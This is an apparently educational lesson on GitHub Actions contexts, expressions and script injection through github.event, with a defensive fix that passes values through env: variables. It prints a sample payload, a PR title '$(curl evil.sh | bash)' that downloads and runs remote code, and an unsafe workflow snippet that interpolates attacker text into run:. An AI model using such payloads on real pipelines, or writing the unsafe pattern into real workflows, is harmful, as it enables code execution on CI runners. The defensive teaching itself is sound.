open atlas
↑ Back to track
CI/CD pipelines CICD · 08 · 02

Contexts and expressions: the data model, and script injection via github.event

Contexts (`github`, `env`, `secrets`, `needs`, `matrix`) are the workflow's data model; expressions in `${{ }}` filter, branch, and compute. Interpolating attacker-controlled `github.event` text straight into `run:` is remote code execution.

CICD Senior ◷ 16 min
Level
FoundationsJuniorMiddleSenior

The proof-of-concept fit in a pull request title. A security researcher opened a PR titled $(curl evil.sh | bash) against a popular open-source project. Their CI had a friendly “comment the PR title back to the author” step that did exactly what it looked like: echo "Thanks for PR: ${{ github.event.pull_request.title }}". GitHub interpolates ${{ }} expressions before the shell ever sees the line — so the runner assembled a run: script that literally contained echo "Thanks for PR: $(curl evil.sh | bash)", and the shell dutifully executed the command substitution. The PR title became a command on the runner, with whatever permissions that job had. The fix wasn’t to sanitize the title; it was to never let attacker-controlled context text become part of a shell command. Expressions are evaluated at template time — that one fact is the entire vulnerability and the entire defense.

Contexts: where the data lives

Before you can write a reliable workflow condition or understand why an expression silently evaluates to the wrong branch, you need to know exactly where the data comes from and what scope it lives in.

A workflow reads everything it knows from contexts — structured objects available inside ${{ }}:

steps:
  - run: echo "commit ${{ github.sha }} on ${{ github.ref_name }}"
  - run: echo "build for ${{ matrix.os }}"
  - if: ${{ needs.build.result == 'success' }}
    run: ./deploy.sh
    env:
      TOKEN: ${{ secrets.DEPLOY_TOKEN }}

The contexts you reach for daily: github (the event payload, ref, sha, actor, repository), env (workflow/job/step variables), secrets (encrypted values, masked in logs), needs (outputs and result of upstream jobs), matrix (the current matrix combination), steps (outputs of prior steps in the job), runner, job, strategy. Availability is scoped: secrets is not readable in a job-level if; needs only exists once you declare a needs: edge; matrix only exists inside a matrixed job. Reading a context that isn’t available yields an empty string, not an error — which is why a typo’d ${{ secrets.DEPOLY_TOKEN }} silently authenticates as nobody and the deploy fails with a confusing 401 rather than a clear “undefined secret.”

Expressions: operators, functions, and truthiness

Inside ${{ }} you get a small expression language: comparisons (==, !=, <, >), logic (&&, ||, !), and functions — contains(), startsWith(), format(), join(), fromJSON(), toJSON(), hashFiles(), and the status checks success(), failure(), always(), cancelled(). Two senior gotchas dominate:

  • &&/|| return operands, not booleans — GitHub borrows the ternary idiom ${{ condition && 'a' || 'b' }} to pick a value, because there is no real ternary. It works only when the “true” operand is itself truthy; ${{ x && '' || 'b' }} always yields 'b'.
  • if: has an implicit ${{ }} — you write if: github.ref == 'refs/heads/main' without braces, but the moment you need an expression that starts with ! you must quote or brace it, because YAML reads a leading ! as a tag.

fromJSON() is the power tool: it turns a JSON string into a real object, which is how you build a dynamic matrix — a setup job emits a JSON array as an output, and a downstream job does strategy: { matrix: { include: ${{ fromJSON(needs.setup.outputs.list) }} } }. That converts “decide what to test at runtime” (changed packages, discovered shards) from impossible into one line.

Quiz

A step has env: VER: ${{ secrets.IS_PROD == 'true' && '1.0' || '0.9' }} but secrets are not what you should compare here, and the value comes out '0.9' even in prod. What is the most likely root cause?

Why this works

Why does GitHub evaluate ${{ }} before the shell instead of passing context through environment variables by default? Because expressions must also drive things that aren’t shell — if: conditions, matrix values, with: inputs, job names — all resolved at template-assembly time across the whole YAML. The cost of that uniformity is that a run: line is just a string the engine builds by substitution, and substituted attacker text becomes code. The safe pattern is to break the chain: bind the context to an env: variable (env: { TITLE: ${{ github.event.pull_request.title }} }) and reference "$TITLE" in the script, so the value travels as data through the environment and the shell never parses it as source.

The injection class and its one fix

The Hook’s vulnerability is a whole class: any run: line that interpolates a context an attacker can influence — github.event.*.title, *.body, *.head.ref, commit messages, head_commit.message, review bodies — is a script-injection sink. The fix is mechanical and complete: never put attacker-controlled ${{ }} directly in run:; pass it through env: and reference the environment variable, quoted.

# UNSAFE: title is interpolated into the script the runner builds
- run: echo "title: ${{ github.event.pull_request.title }}"

# SAFE: the value travels as data; the shell sees a variable, not source
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "title: $PR_TITLE"

The first form lets a title of `id` run a command; the second prints the backticks literally. Nothing else changes — same data, different trust boundary.

Quiz

Why does passing github.event.pull_request.body through an env: variable and referencing "$BODY" in run: defeat script injection, when echoing ${{ github.event.pull_request.body }} directly does not?

Recall before you leave
  1. 01
    Explain the script-injection mechanism in a run: step and the exact mitigation, in terms of when expressions evaluate.
  2. 02
    What is fromJSON used for, and why do && and || behave unusually in expressions?
Recap

Contexts are the workflow’s entire data model: github carries the event payload, ref, sha, and actor; env, secrets, needs, matrix, steps, runner, and job carry the rest — all readable inside ${{ }} with availability scoped to where they make sense, and a missing context resolving to an empty string rather than an error, so a mistyped secret fails closed and silent. The expression language gives comparisons, logic, and functions like contains, format, hashFiles, the status checks success/failure/always/cancelled, and fromJSON, the power tool that parses a runtime JSON string into a dynamic matrix so a setup job can decide at runtime what the test legs are. Two quirks bite seniors: &&/|| return operands rather than booleans — the ternary idiom ${{ cond && 'a' || 'b' }} falls through whenever the true operand is falsy — and if: carries an implicit ${{ }} that collides with YAML’s ! tag. The defining hazard is timing: ${{ }} evaluates at template-assembly time, before the shell sees a run: line, so any attacker-controlled context — PR titles, bodies, branch names, commit messages — interpolated directly into run: becomes shell source and executes. The complete, mechanical fix is to bind such values to an env: variable and reference the quoted $VAR, so attacker text crosses the boundary as data and the shell never parses it as a command. Now when you see a run: step that references ${{ github.event.* }} directly, you know you’re looking at a script-injection sink — and you know exactly which line to move to env:.

Practice

Start at the top. Tasks go easiest → hardest: recall a fact, apply it to a case, then a senior-level stretch. Open one, attempt it, then reveal.

recallapplystretch0 of 5 done

Something unclear?

Ask a question about this lesson. Questions are anonymous and go straight to the author to make the lesson better.

shortcuts expand
search
K
prev piece
k
next piece
j
cycle tier
t
this menu
?
sources3
expand
  1. 01
  2. 02
  3. 03

Trademarks belong to their respective owners. Editorial reference only.